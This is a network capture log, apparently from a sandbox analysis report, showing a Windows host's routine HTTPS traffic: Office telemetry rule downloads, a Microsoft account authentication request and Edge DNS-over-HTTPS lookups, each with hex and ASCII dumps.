2024-11-20 20:05:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:39 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:39 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200539Z-1777c6cb754lv4cqhC1TEB13us0000000a3g000000006vs2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:39 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:39 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 57b2d8b6-201e-0033-2767-3bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200539Z-178bfbc474bmqmgjhC1NYCy16c00000000eg000000005b32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:40 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49768	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 20:05:40 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 20:05:41 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 20:04:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: b0d2aee2-732f-4360-b0c6-67a6726e31ab PPServer: PPV: 30 H: PH1PEPF0001B89B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 20:05:40 GMT Connection: close Content-Length: 1276
2024-11-20 20:05:41 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:41 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200542Z-178bfbc474bq2pr7hC1NYCkfgg00000000h000000000k1gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:42 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:41 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:42 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200542Z-185f5d8b95csd4bwhC1NYCq7dc0000000ag000000001d1cr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:42 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:41 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200542Z-1777c6cb7542p5p4hC1TEBq0980000000a30000000009gut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200542Z-1777c6cb754mqztshC1TEB4mkc0000000a3g00000000d1xg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:42 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200542Z-r1d97b995774n5h6hC1TEBvf84000000098g00000000hkqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49797	162.159.61.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 20:05:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 20:05:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5b0e70afc44294-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 20:05:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 29 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49793	162.159.61.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 20:05:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 20:05:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5b0e70fd21de99-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 20:05:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49790	172.64.41.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 20:05:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
